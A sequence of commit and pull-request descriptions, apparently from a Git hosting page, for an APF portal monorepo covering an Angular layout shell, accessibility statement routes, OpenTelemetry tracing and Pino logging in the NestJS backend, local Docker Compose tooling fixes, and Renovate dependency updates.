## Summary Cuts the Nx scaffold's `NxWelcome` page (938 LOC of placeholder markup) and lays down the actual portal layout — header, main, footer landmarks plus a skip link — with a real home page and the two RGAA-mandated accessibility statement routes. Bundle budgets in `project.json` are tightened to match ADR-0017. ## What lands **Layout shell** (`apps/portal-shell/src/app/`): - `components/header/` — brand link + primary nav landmark stub - `components/footer/` — accessibility statement links (FR + EN) + version badge - `app.html` / `app.scss` — flex column with sticky footer + skip link to `#main-content` (WCAG 2.4.1) **Pages**: - `pages/home/` — welcome heading + "system status" widget that fetches `/api/health` from the BFF. Doubles as a smoke test of the full SPA → BFF stack: CORS, OTel trace propagation, Pino log correlation. After page load, http://localhost:16686 should show one trace whose root span is the SPA `document_load`, with a child `fetch` span that has its own child `HTTP GET /api/health` BFF span. - `pages/accessibility/` — single component, content selected by route data (`lang: 'fr' | 'en'`). Mounted at `/accessibility` (en) and `/accessibilite` (fr). v1 carries placeholder copy explicitly framed as "awaiting APF user panel review" — RGAA + ADR-0016 require the routes to exist; the substantive statement (audit grid, gaps list, remediation plan) lands separately. **Routing & wiring**: - `app.routes.ts` adds the three routes, all lazy-loaded. - `app.config.ts` adds `provideHttpClient(withFetch())` so HttpClient delegates to the patched browser `fetch` and the W3C `traceparent` header propagates automatically (per ADR-0012 phase 2). - `nx-welcome.ts` removed; `app.ts` no longer imports it. **Bundle budgets** (`apps/portal-shell/project.json`): | Type | Limit (raw) | ADR-0017 (gzip) | | ------------------- | ------------ | --------------- | | `initial` | 1 MB | ≤ 300 KB | | `anyScript` | 300 KB | ≤ 100 KB / chunk | | `anyComponentStyle` | 6 KB | ≤ 6 KB | | `bundle "styles"` | 150 KB | ≤ 150 KB | `maximumWarning == maximumError` so an overshoot fails the build (matching `type: "error"` in spirit). Angular CLI compares **raw** sizes; ADR-0017 §Confirmation is updated to record the gzip→raw translation and the deferred follow-up that will add a CI check on the actual gzipped transfer size (Angular has no native gzip-mode budget). ## Verified locally - `pnpm exec nx run-many -t lint test build` → 8 projects green; **12 tests pass** for `portal-shell` across 5 specs (App, Header, Footer, Home, AccessibilityStatement). - `pnpm nx build portal-shell --configuration=production` → initial bundle **326.99 KB raw / 89.82 KB transfer** (gzip) — well under the ADR-0017 300 KB gzip target. Lazy chunks: home 2.66 KB, accessibility 2.90 KB. - `pnpm audit` clean. After `./infra/local/dev.sh up observability` + `pnpm nx serve portal-bff` + `pnpm nx serve portal-shell`, opening http://localhost:4200 shows the new layout, the system-status widget connects to the BFF, and the corresponding trace appears in Jaeger. ## Out of scope (separate PRs) - **Real RGAA audit content** — APF user-panel review. - **Design tokens system** in `libs/shared/tokens`. - **Reusable UI primitives** in `libs/shared/ui`. - **User-preferences panel** (ADR-0016 §"User-preferences panel"). - **i18n machinery** (`@angular/localize`) — for v1 the FR/EN copy is inlined and route-driven; real i18n is a separate ADR. - **Env-config** (Angular `environment.ts`) — the hard-coded `http://localhost:3000/api/health` will move there alongside the OTLP endpoint when the env-config PR lands. - **CI gzip-transfer-size assertion** to complement the raw-size Angular budgets. ## Test plan - [ ] CI green on this PR. - [ ] Local: home page renders, system-status widget transitions from "Checking the backend…" to the success state when the BFF is up; falls back to "Backend unreachable" with the BFF stopped. - [ ] `/accessibility` and `/accessibilite` render the matching language with `<article lang="en|fr">`. - [ ] Skip link reachable via Tab from address bar; clicking it focuses `#main-content`. - [ ] Production build size summary roughly matches the figures above (initial total ≈ 90 KB transfer). --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #74 |
||
|
|
288610b9ba |
docs(development): add observability dev-loop section (#73)
## Summary ADR-0012 phase 1 + phase 2 are wired (BFF + SPA), so the "Observability dev-loop" placeholder in the roadmap table now has real content to point at. Promote it from §9 future-work list to a full §5 walkthrough sitting between "Daily commands" and "Dependency updates". ## What §5 covers - **Bringing up the observability stack** — `./infra/local/dev.sh up observability`, with the endpoint table (Jaeger UI, OTLP receiver, BFF stdout, browser DevTools). - **Reading a trace in Jaeger** — service-dropdown filter, span attribute keys to look at (`http.method`, `db.statement`, `service.name`, `trace_id`), the trace-id-as-pivot pattern. - **Correlating a trace with the BFF Pino logs** via `trace_id` and `request_id` (the per-request UUID `nestjs-cls` provides). Concrete `grep` example. - **Reading SPA spans from the browser** — DevTools Network filter on `localhost:4318/v1/traces` + Jaeger UI cross-check. - **Common gotchas** — observability profile not active, CORS pre-flight on `/v1/traces`, `propagateTraceHeaderCorsUrls` mismatches, NODE_ENV mis-set, EADDRINUSE on serve restart. - **What's not in v1** — pointer at the "wired as features land" deltas (CLS keys for session/user/audience, redact list, custom domain spans, prod backend) so a contributor knows what's intentionally not yet there. ## Renumbering The new §5 pushes existing sections down. Final structure: 1. Repo layout / 2. Prerequisites / 3. Initial setup / 4. Daily commands / 5. **Observability dev-loop** / 6. Dependency updates (Renovate) / 7. Conventional commit cycle / 8. Where to look / 9. Roadmap. The "Observability dev-loop" line in §9's roadmap table is removed (now implemented). `docs/README.md` cross-link updated to mention the new section. ## Test plan - [ ] CI green on this PR (`format:check`). - [ ] In a fresh checkout, follow §5's "Bring up the observability stack" verbatim, reach the Jaeger UI, then walk a trace through the `grep` correlation example with a synthetic request — flag any step that's wrong / missing on this real-world rehearsal. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #73 |
||
|
|
8f2cd4e068 |
feat(portal-shell): wire spa-side opentelemetry tracing (#72)
## Summary Phase 2 of ADR-0012 — closes the loop SPA → BFF → DB. After this PR, a single user action (initial page load, click, form submit) produces one trace whose root span is owned by the SPA and whose child spans cover the BFF request, Postgres queries through Prisma, and (eventually) Redis / downstream-API hops. ## What lands **Browser-side OTel libs** (production deps): - `@opentelemetry/sdk-trace-web` — browser tracer + provider - `@opentelemetry/exporter-trace-otlp-http` — OTLP/HTTP+JSON exporter - `@opentelemetry/instrumentation` — auto-instrumentation runtime - `@opentelemetry/instrumentation-fetch` — `fetch` + W3C `traceparent` propagation - `@opentelemetry/instrumentation-document-load` — initial-paint timings - `@opentelemetry/instrumentation-user-interaction` — click / keypress / submit No `@opentelemetry/context-zone`: the workspace is zoneless per ADR-0004; the default `StackContextManager` covers the auto-instrumented paths. Custom spans across `await` will need explicit `context.with(...)` plumbing — fine, encountered as code lands. **Code**: - [`apps/portal-shell/src/observability/tracing.ts`](apps/portal-shell/src/observability/tracing.ts) — `WebTracerProvider` bootstrap. Documents the load-order constraint inline (same pattern as the BFF: must be the very first import of `main.ts`, otherwise auto-instrumentations miss everything imported above). - `apps/portal-shell/src/main.ts` now imports the tracing module as line 1. **CORS plumbing** for end-to-end trace propagation: - BFF (`apps/portal-bff/src/main.ts`) calls `enableCors` with a minimal dev allowlist (`http://localhost:4200`) and explicit permission for the W3C `traceparent` / `tracestate` headers. The full security-grade CORS (per-environment allowlists, helmet, cookie-session, CSRF) belongs to the future phase-2 security ADR — this PR adds the strict minimum for the SPA→BFF trace context to survive cross-origin pre-flight. - OTel Collector (`infra/local/otel-collector.yaml`) gains a `cors` block on its OTLP/HTTP receiver so the browser's own OTLP POST clears its pre-flight. **ADR-0012 §Confirmation** rewritten: a new "Wired in the SPA foundation PR (phase 2)" block enumerates what landed here; the carry-over "Wired as features land" list drops the SPA-side SDK item and adds a follow-up note about the security-grade CORS. ## Verification ```bash pnpm exec nx run-many -t lint test build # 8 projects green pnpm audit # 0 vulns ./infra/local/dev.sh up observability # bring up Collector + Jaeger ./infra/local/dev.sh # (separately, BFF stack — your choice) pnpm nx serve portal-bff # localhost:3000 pnpm nx serve portal-shell # localhost:4200 ``` Open http://localhost:4200 → a `document_load` trace appears in http://localhost:16686 with `service.name=portal-shell`. From DevTools, run `fetch('http://localhost:3000/api/health').then(r => r.json())` → a fetch span appears with a child BFF span on the same trace. ## Test plan - [ ] CI green on this PR. - [ ] After local up, `document_load` span visible in Jaeger UI for the SPA. - [ ] Cross-origin fetch from SPA carries `traceparent` (visible in Network tab) and produces a single end-to-end trace SPA → BFF in Jaeger. - [ ] DevTools console shows no CORS warnings about `traceparent`, `tracestate`, or the `localhost:4318/v1/traces` POST. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #72 |
||
|
|
c3c15585ff |
style(portal-bff): apply prettier to check-database-url.ts (#71)
## Summary Cosmetic-only follow-up to #70. Collapses one over-cautious multi-line `throw new Error(...)` into a single line that fits within the project's 100-char `printWidth`. The reformat was produced by lint-staged **during** the amend that landed #70, but applied to the working tree only — the modification never made it back into the staged content of the amend. The merged commit therefore carries the un-prettified version. Spotted locally with `pnpm exec prettier --check apps/portal-bff/src/config/check-database-url.ts` failing. Left unchecked, the next PR's `check` job would break at `format:check` for unrelated reasons. ## Test plan - [ ] CI green on this PR (`format:check` clean). - [ ] No behavioural change — only whitespace. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #71 |
||
|
|
b74d3f1b9b |
feat(portal-bff): observability foundations (Pino + CLS + OTel) (#70)
## Summary
Implements ADR-0012 phase 1, BFF side. The SPA wiring is a separate phase-2 PR.
The BFF now emits structured JSON logs to stdout, tagged with `trace_id` / `span_id` from the active OTel context, and exports OTLP traces over HTTP/Protobuf to the Collector that already runs in the local-dev compose. Anything Nest, Express, HTTP-out, Prisma (Postgres) or `ioredis` does is auto-spanned. A `GET /api/health` liveness endpoint is added to round things out.
## What lands
**Runtime libs added** (production deps):
- `nestjs-pino`, `pino`, `pino-http` — structured logging
- `nestjs-cls` — request-scoped context
- `@opentelemetry/api` / `sdk-node` / `resources` / `semantic-conventions`
- `@opentelemetry/exporter-trace-otlp-proto` (HTTP/Protobuf, port 4318)
- `@opentelemetry/instrumentation-{http,express,nestjs-core,pg,ioredis,pino}` — curated, **no** `auto-instrumentations-node` mass-import (anti-bricolage)
Dev: `pino-pretty` (gated by `NODE_ENV`).
**Code:**
- `apps/portal-bff/src/observability/tracing.ts` — OTel `NodeSDK` bootstrap. Documents the load-order constraint inline (must be the very first import of `main.ts`). Pure side-effect module.
- `apps/portal-bff/src/observability/observability.module.ts` — composes `ClsModule` (UUID per request stored as `request_id`) and `LoggerModule` (`pino-pretty` in dev, raw JSON in prod, `LOG_LEVEL` env-driven, `/health` excluded from auto-logging, `X-Request-Id` honoured if inbound).
- `apps/portal-bff/src/health/{health.controller,health.module,health.controller.spec}.ts` — `GET /api/health` returning `{status, uptimeSeconds, service, version}`. Cheap liveness only — `/readiness` lands when dependencies have a readiness story.
- `apps/portal-bff/src/config/check-database-url.{ts,spec.ts}` — fail-fast validator called from `main.ts` before NestFactory boots. Catches the same family of bug that bit pgweb in #63: a literal special character in `POSTGRES_PASSWORD` that needs URL-encoding in `DATABASE_URL`. Prisma requires a URL string (no discrete-flag escape hatch), so early validation + a clear error message is the v1 mitigation. Six unit tests cover happy path, missing URL, wrong scheme, encoded special chars, literal `@` in password, malformed URL.
**Wiring:**
- `main.ts` imports `./observability/tracing` as line 1, then uses `app.get(Logger)` from `nestjs-pino` with `bufferLogs: true` so early-bootstrap lines are not lost.
- `app.module.ts` imports `ObservabilityModule` first, then `PrismaModule`, then `HealthModule`.
- `apps/portal-bff/.env.example` promotes `LOG_LEVEL`, `OTEL_SERVICE_NAME`, `OTEL_SERVICE_VERSION`, `OTEL_EXPORTER_OTLP_ENDPOINT`, `OTEL_EXPORTER_OTLP_PROTOCOL`, `OTEL_TRACES_SAMPLER` from the "future" comment to active settings — defaults target the local-dev Collector.
- Both `apps/portal-bff/.env.example` and `infra/local/.env.example` now spell out the URL-encoding constraint on `POSTGRES_PASSWORD` with the char-by-char encoding table (`@` → `%40`, etc.).
**ADR-0012 §Confirmation** rewritten to distinguish what landed in this PR from what is wired as the corresponding feature ADRs ship (CLS keys for `session_id` / `user_id_hash` / `audience`, `LOG_USER_ID_SALT` enforcement, redact list, custom spans, SPA-side SDK, full integration tests, prod Collector config).
## Trace ↔ log correlation
Automatic via `@opentelemetry/instrumentation-pino` — every Pino record gets `trace_id` and `span_id` injected from the active OTel context. No CLS gymnastics needed for that concern.
## Verification
```bash
pnpm exec nx run-many -t lint test build # 8 projects green
pnpm audit --audit-level=moderate # 0 vulnerabilities
./infra/local/dev.sh up observability # start Collector + Jaeger
cp apps/portal-bff/.env.example apps/portal-bff/.env
pnpm nx serve portal-bff
curl http://localhost:3000/api/health
# → {"status":"ok","uptimeSeconds":N,"service":"portal-bff","version":"dev"}
```
Then hit `GET http://localhost:3000/api` once or twice and open http://localhost:16686 — the corresponding spans appear in Jaeger, and Pino logs on stdout carry the matching `trace_id`.
## Test plan
- [ ] `nx run-many -t lint test build` green on this PR's CI run.
- [ ] `pnpm audit` clean.
- [ ] BFF boots, `/api/health` returns the expected JSON.
- [ ] Pino logs in dev are colourised one-liners; in prod they would be raw JSON (toggled by `NODE_ENV=production`).
- [ ] With the local-dev stack's `--profile observability` active, traces are visible in Jaeger UI.
- [ ] Each Pino log line for a request carries the same `trace_id` as the trace span in Jaeger.
---------
Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #70
|
||
|
|
80e35c6aab |
chore(deps): update dependency lint-staged to v17.0.4 (#69)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [lint-staged](https://github.com/lint-staged/lint-staged) | devDependencies | patch | [`17.0.3` -> `17.0.4`](https://renovatebot.com/diffs/npm/lint-staged/17.0.3/17.0.4) | --- ### Release Notes <details> <summary>lint-staged/lint-staged (lint-staged)</summary> ### [`v17.0.4`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1704) [Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.3...v17.0.4) ##### Patch Changes - [#​1788](https://github.com/lint-staged/lint-staged/pull/1788) [`f95c1f8`](https://github.com/lint-staged/lint-staged/commit/f95c1f8df3368758c44c2052e568aac1b3d4c767) - Another fix for making sure *lint-staged* adds task modifications correctly to the commit in the following cases: - after editing `<file>` it is staged with `git add <file>`, and then committed with `git commit` - after editing `<file>` it is committed with `git commit --all` without explicit `git add` - after editing `<file>` it is committed with `git commit <pathspec>` without explicit `git add` There's new test cases which actually setup the Git `pre_commit` hook to run *lint-staged* and verify them. These issues started in **v17.0.0** when trying to improve support for committig without having explicitly staged files. </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #69 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
fc9b63f24a |
feat(infra): add dev.sh wrapper for the local-dev compose stack (#68)
## Summary Two recurring frictions on the local-dev stack: 1. **Compose-profile asymmetry** — `docker compose down` only operates on services whose profile is currently active. Anything brought up with `--profile X` keeps running unless the same flag is passed on `down`. pgweb and Jaeger silently survived several `down -v` invocations before we noticed (#67 documented the gotcha; this PR makes it impossible to hit if you use the wrapper). 2. **Verbose invocations** — typing `docker compose -f infra/local/dev.compose.yml --profile … <verb>` for routine ops gets old fast. Add [`infra/local/dev.sh`](infra/local/dev.sh) as a thin wrapper. Always passes every profile in scope on teardown / status / log commands, exposes ergonomic verbs: | Command | Effect | | --------------------------------------------- | --------------------------------------------------------------- | | `./infra/local/dev.sh up` | Core only (postgres + redis + otel-collector) | | `./infra/local/dev.sh up all` | Core + every profile | | `./infra/local/dev.sh up dbtools` | Core + pgweb | | `./infra/local/dev.sh up observability` | Core + Jaeger | | `./infra/local/dev.sh down [-v]` | Tear down (every profile in scope, no orphaned services) | | `./infra/local/dev.sh stop <service>` | Stop one service (containers stay around) | | `./infra/local/dev.sh restart <service>` | Restart one service | | `./infra/local/dev.sh status` | `ps` with every profile visible | | `./infra/local/dev.sh logs [service]` | Follow logs | | `./infra/local/dev.sh exec <service> <cmd>` | Run a command inside a container | Anything not matching one of the named verbs is passed through to `docker compose -f dev.compose.yml ...` (with every profile flagged in), so the full Compose surface remains available. ## Doc updates - **`infra/README.md`** — new "Convenience script" subsection with the cheat-sheet table; "First-time setup" rewritten to use the script; the standalone "Profile symmetry" tip from #67 is collapsed into a one-liner since the script now handles it (the note remains as a fallback for direct `docker compose` users). - **`docs/development.md` §3** — points at the script for the typical setup flow. The compose file itself is unchanged. ## Test plan - [ ] `./infra/local/dev.sh help` prints the usage block. - [ ] `./infra/local/dev.sh up` brings up the 3 core services (no pgweb / no jaeger). - [ ] `./infra/local/dev.sh up all` adds pgweb and Jaeger. - [ ] `./infra/local/dev.sh down -v` stops and removes all 5 containers (incl. pgweb and Jaeger), wipes the postgres-data and redis-data volumes. - [ ] `./infra/local/dev.sh stop pgweb` stops just pgweb. - [ ] `./infra/local/dev.sh logs otel-collector` follows that service's logs. - [ ] `./infra/local/dev.sh exec postgres psql -U "$POSTGRES_USER" -d "$POSTGRES_DB" -c "\du"` lists the audit roles. - [ ] `./infra/local/dev.sh stop` (no arg) errors with a clear message. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #68 |
||
|
|
4d2d4d652a |
docs(infra): document Compose profile + down/up symmetry gotcha (#67)
## Summary `docker compose -f infra/local/dev.compose.yml down -v` left pgweb and Jaeger running, with no error and no obvious diagnostic — they kept eating memory until the next reboot. Reason: Compose only operates on services whose profile is currently active. Bringing them up with `--profile dbtools` / `--profile observability` requires the same flag(s) on `down`, otherwise they're invisible to that command. Document the gotcha in `infra/README.md` "Local-dev stack" → "Operational tips", with the two pragmatic resolutions: 1. Pass the same flags on each command (most explicit). 2. Set `COMPOSE_PROFILES=dbtools,observability` once in the shell or `infra/local/.env`, and let it propagate to every `up` / `down` / `ps` invocation. ## Test plan - [ ] Bring up the full stack: `docker compose -f infra/local/dev.compose.yml --profile dbtools --profile observability up -d`. - [ ] `docker compose -f infra/local/dev.compose.yml down -v` (no flags) — confirms pgweb + jaeger keep running. - [ ] Run the documented "complete" command — confirms everything is gone. - [ ] Repeat with `COMPOSE_PROFILES` set; same outcome. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #67 |
||
|
|
b2d7fe3fd7 |
chore(deps): update dependency jest to v30.4.2 (#65)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [jest](https://jestjs.io/) ([source](https://github.com/jestjs/jest/tree/HEAD/packages/jest)) | devDependencies | patch | [`30.4.1` -> `30.4.2`](https://renovatebot.com/diffs/npm/jest/30.4.1/30.4.2) | --- ### Release Notes <details> <summary>jestjs/jest (jest)</summary> ### [`v30.4.2`](https://github.com/jestjs/jest/blob/HEAD/CHANGELOG.md#3042) [Compare Source](https://github.com/jestjs/jest/compare/v30.4.1...v30.4.2) ##### Fixes - `[jest-runtime]` Fix named imports from CJS modules whose `module.exports` is a function with own-property exports ([#​16150](https://github.com/jestjs/jest/pull/16150)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #65 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
3fbb1f92a8 |
chore(deps): update tailwind css to v4.3.0 (#66)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@tailwindcss/postcss](https://tailwindcss.com) ([source](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss)) | devDependencies | minor | [`4.2.4` -> `4.3.0`](https://renovatebot.com/diffs/npm/@tailwindcss%2fpostcss/4.2.4/4.3.0) | | [tailwindcss](https://tailwindcss.com) ([source](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | devDependencies | minor | [`4.2.4` -> `4.3.0`](https://renovatebot.com/diffs/npm/tailwindcss/4.2.4/4.3.0) | --- ### Release Notes <details> <summary>tailwindlabs/tailwindcss (@​tailwindcss/postcss)</summary> ### [`v4.3.0`](https://github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#430---2026-05-08) [Compare Source](https://github.com/tailwindlabs/tailwindcss/compare/v4.2.4...v4.3.0) ##### Added - Add `@container-size` utility ([#​18901](https://github.com/tailwindlabs/tailwindcss/pull/18901)) - Add `scrollbar-{auto,thin,none}` utilities for `scrollbar-width`, and `scrollbar-thumb-*` / `scrollbar-track-*` color utilities for `scrollbar-color` ([#​19981](https://github.com/tailwindlabs/tailwindcss/pull/19981), [#​20019](https://github.com/tailwindlabs/tailwindcss/pull/20019)) - Add `scrollbar-gutter-*` utilities ([#​20018](https://github.com/tailwindlabs/tailwindcss/pull/20018)) - Add `zoom-*` utilities ([#​20020](https://github.com/tailwindlabs/tailwindcss/pull/20020)) - Add `tab-*` utilities ([#​20022](https://github.com/tailwindlabs/tailwindcss/pull/20022)) - Allow using `@variant` with stacked variants (e.g. `@variant hover:focus { … }`) ([#​19996](https://github.com/tailwindlabs/tailwindcss/pull/19996)) - Allow using `@variant` with compound variants (e.g. `@variant hover, focus { … }`) ([#​19996](https://github.com/tailwindlabs/tailwindcss/pull/19996)) - Support `--default(…)` in `--value(…)` and `--modifier(…)` for functional `@utility` definitions ([#​19989](https://github.com/tailwindlabs/tailwindcss/pull/19989)) ##### Fixed - Ensure `@plugin` resolves package JavaScript entries instead of browser CSS entries when using `@tailwindcss/vite` ([#​19949](https://github.com/tailwindlabs/tailwindcss/pull/19949)) - Fix relative `@import` and `@plugin` paths resolving from the wrong directory when using `@tailwindcss/vite` ([#​19965](https://github.com/tailwindlabs/tailwindcss/pull/19965)) - Ensure CSS files containing `@variant` are processed by `@tailwindcss/vite` ([#​19966](https://github.com/tailwindlabs/tailwindcss/pull/19966)) - Resolve imports relative to `base` when `result.opts.from` is not provided when using `@tailwindcss/postcss` ([#​19980](https://github.com/tailwindlabs/tailwindcss/pull/19980)) - Canonicalization: preserve significant `_` whitespace in arbitrary values ([#​19986](https://github.com/tailwindlabs/tailwindcss/pull/19986)) - Canonicalization: add parentheses when removing whitespace from arbitrary values would hurt readability (e.g. `w-[calc(100%---spacing(60))]` → `w-[calc(100%-(--spacing(60)))]`) ([#​19986](https://github.com/tailwindlabs/tailwindcss/pull/19986)) - Canonicalization: preserve the original unit in arbitrary values instead of normalizing to base units (e.g. `-mt-[20in]` → `mt-[-20in]`, not `mt-[-1920px]`) ([#​19988](https://github.com/tailwindlabs/tailwindcss/pull/19988)) - Canonicalization: migrate arbitrary `:has()` variants from `[&:has(…)]` to `has-[…]` ([#​19991](https://github.com/tailwindlabs/tailwindcss/pull/19991)) - Upgrade: don’t migrate inline `style` attributes (e.g. `style="flex-grow: 1"` → `style="flex-grow: 1"`, not `style="grow: 1"`) ([#​19918](https://github.com/tailwindlabs/tailwindcss/pull/19918)) - Allow multiple `@utility` definitions with the same name but different value types ([#​19777](https://github.com/tailwindlabs/tailwindcss/pull/19777)) - Export missing `PluginWithConfig` type from `tailwindcss/plugin` to fix errors when inferring plugin config types ([#​19707](https://github.com/tailwindlabs/tailwindcss/pull/19707)) - Ensure `start` and `end` legacy utilities without values do not generate CSS ([#​20003](https://github.com/tailwindlabs/tailwindcss/pull/20003)) - Ensure `--value(…)` is required in functional `@utility` definitions ([#​20005](https://github.com/tailwindlabs/tailwindcss/pull/20005)) - Canonicalization: preserve required whitespace around operators in negated arbitrary values (e.g. `-left-[(var(--a)+var(--b))]`) ([#​20011](https://github.com/tailwindlabs/tailwindcss/pull/20011)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #66 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
a893f8e06b |
chore(infra): migrate Jaeger to v2 for built-in dark theme (#64)
## Summary Jaeger v1's web UI has no theme selector — it ships light-only. v2 (the OTel-Collector-based rewrite, image `jaegertracing/jaeger`, distinct from v1's `jaegertracing/all-in-one`) ships a **Light / Dark / Auto** switcher in the UI nav. v2 is also the actively-developed line; v1 is on the way out within ~6-12 months. Migration is mechanical: - Image: `jaegertracing/all-in-one:1.76.0` → `jaegertracing/jaeger:2.17.0`. - Drop `COLLECTOR_OTLP_ENABLED: 'true'` env — v2 enables OTLP receivers by default. - UI port (`16686`) and OTLP ports (`4317` / `4318`) are unchanged, so the collector → `jaeger:4317` forwarding pipeline keeps working without touching `otel-collector.yaml`. ## Test plan - [ ] After merge: `docker compose -f infra/local/dev.compose.yml --profile observability up -d --force-recreate jaeger` → container stays healthy. - [ ] http://localhost:16686 loads the v2 UI; nav shows the Light/Dark/Auto switcher. - [ ] Send a synthetic OTLP trace to `localhost:4317` (e.g., via grpcurl or once the BFF is wired in B) → it appears in the Jaeger UI. - [ ] OTel Collector logs no longer warn abou --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #64 |
||
|
|
171f21b99b |
fix(infra): pass pgweb credentials via discrete CLI flags (#63)
## Summary `PGWEB_DATABASE_URL` (post-#62 rename) still fails at boot: ``` Error: Invalid URL. Valid format: postgres://user:password@host:port/db?sslmode=mode ``` Root cause: the userinfo portion of a Postgres URL must be URL-encoded — any `@`, `#`, `:`, `/`, `?`, `%`, `&`, `=`, `+`, `;` etc. in the password breaks the parser. Compose has no built-in URL encoding, so the URL we construct in YAML is fragile by design and depends on the developer happening to pick a URL-safe password. Switch to pgweb's discrete CLI flags (`--host`, `--port`, `--user`, `--pass`, `--db`, `--ssl`). Compose interpolates each value literally — no URL encoding required, any password works. The image's ENTRYPOINT already passes `--bind=0.0.0.0 --listen=8081`; our args are appended to those. ## Side benefit A missing password now yields an explicit Compose error (`POSTGRES_PASSWORD must be set in infra/local/.env`) rather than an opaque pgweb crash with a vague "Invalid URL" message. ## Test plan - [ ] After merge: `docker compose -f infra/local/dev.compose.yml --profile dbtools up -d` → pgweb stays up (no `Restarting (1)` loop). - [ ] http://localhost:8081 loads pgweb's UI; you can navigate to the `audit` schema. - [ ] Confirm with a password that contains a special char (e.g., `dev@pass#2026!`) — should still work. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #63 |
||
|
|
10f8565957 |
fix(infra): rename pgweb DATABASE_URL to PGWEB_DATABASE_URL (#62)
## Summary pgweb 0.16 deprecated `DATABASE_URL` in favour of `PGWEB_DATABASE_URL`. With the old name, the container starts up, emits a `[DEPRECATION]` warning, then crashes: ``` [DEPRECATION] Usage of DATABASE_URL env var is deprecated, please use PGWEB_DATABASE_URL variable instead Pgweb v0.16.2 ... Error: Invalid URL. Valid format: postgres://user:password@host:port/db?sslmode=mode ``` — because the new code path reads `PGWEB_DATABASE_URL` (empty) and the URL parser rejects an empty string. Rename the env key in the compose file. Same value, just the new name. ## Test plan - [ ] After merge: `docker compose -f infra/local/dev.compose.yml --profile dbtools up -d` → pgweb stays running (not in `Restarting` loop). - [ ] http://localhost:8081 loads pgweb's UI; click through to the `audit` schema and the four `audit_*` roles to confirm DB connection. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #62 |
||
|
|
a93b1067e6 |
docs(setup): add psql and redis-cli to prerequisites (#61)
